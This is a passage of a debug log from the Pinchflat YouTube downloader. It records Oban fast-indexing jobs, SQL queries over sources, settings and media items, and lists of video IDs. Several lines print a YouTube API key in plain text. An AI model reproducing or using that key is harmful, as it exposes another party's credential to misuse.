"8PTjPzw9VhY", ...] 16:07:09.113 [debug] QUERY OK source="media_items" db=0.5ms idle=108.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:07:09.114 [debug] QUERY OK source="tasks" db=0.1ms idle=103.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799906, 3, ~U[2026-02-10 22:07:09Z], ~U[2026-02-10 22:07:09Z]] 16:07:09.114 [info] {"args":{"id":3},"id":3799867,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":137624,"event":"job:stop","queue_time":457825,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:21.754 [info] {"args":{"id":36},"id":3799868,"meta":{},"system_time":1770761241754625724,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:21.754 [debug] QUERY OK source="sources" db=0.1ms idle=876.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:07:21.755 [debug] QUERY OK source="settings" db=0.1ms idle=876.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:21.755 [debug] QUERY OK source="media_profiles" db=0.1ms idle=876.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:21.755 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:21.755 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:07:21.755 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:21.755 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:21.906 [debug] QUERY OK source="media_items" db=0.7ms idle=150.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 16:07:21.908 [debug] QUERY OK source="media_items" db=0.7ms idle=152.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:07:21.909 [debug] QUERY OK source="tasks" db=0.1ms idle=153.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799907, 36, ~U[2026-02-10 22:07:21Z], ~U[2026-02-10 22:07:21Z]] 16:07:21.909 [info] {"args":{"id":36},"id":3799868,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":154599,"event":"job:stop","queue_time":474406,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:27.781 [info] {"source":"oban","duration":9886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:34.767 [info] {"args":{"id":23},"id":3799869,"meta":{},"system_time":1770761254767677652,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:34.768 [debug] QUERY OK source="sources" db=0.1ms idle=889.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:07:34.768 [debug] QUERY OK source="settings" db=0.7ms idle=889.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:34.769 [debug] QUERY OK source="media_profiles" db=0.0ms idle=890.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:34.769 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:34.769 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:07:34.769 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:34.769 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:34.899 [debug] QUERY OK source="media_items" db=0.6ms idle=130.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 16:07:34.900 [debug] QUERY OK source="media_items" db=0.4ms idle=131.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:07:34.901 [debug] QUERY OK source="tasks" db=0.1ms idle=131.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799908, 23, ~U[2026-02-10 22:07:34Z], ~U[2026-02-10 22:07:34Z]] 16:07:34.901 [info] {"args":{"id":23},"id":3799869,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133814,"event":"job:stop","queue_time":510170,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:36.771 [info] {"args":{"id":34},"id":3799870,"meta":{},"system_time":1770761256771700918,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:36.771 [info] {"args":{"id":10},"id":3799871,"meta":{},"system_time":1770761256771731283,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:36.772 [debug] QUERY OK source="sources" db=0.2ms idle=1870.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:07:36.772 [debug] QUERY OK source="sources" db=0.2ms idle=1864.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:07:36.772 [debug] QUERY OK source="settings" db=0.2ms idle=1008.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:36.772 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:36.772 [debug] QUERY OK source="settings" db=0.2ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:36.772 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:36.772 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:07:36.772 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:36.773 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:36.773 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:36.773 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:07:36.773 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:36.773 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:36.773 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:36.983 [debug] QUERY OK source="media_items" db=0.7ms idle=209.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:07:36.984 [debug] QUERY OK source="media_items" db=0.9ms idle=210.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:07:36.985 [debug] QUERY OK source="tasks" db=0.0ms idle=211.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799909, 34, ~U[2026-02-10 22:07:36Z], ~U[2026-02-10 22:07:36Z]] 16:07:36.985 [info] {"args":{"id":34},"id":3799870,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":213522,"event":"job:stop","queue_time":419705,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:37.066 [debug] QUERY OK source="media_items" db=0.6ms idle=80.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", 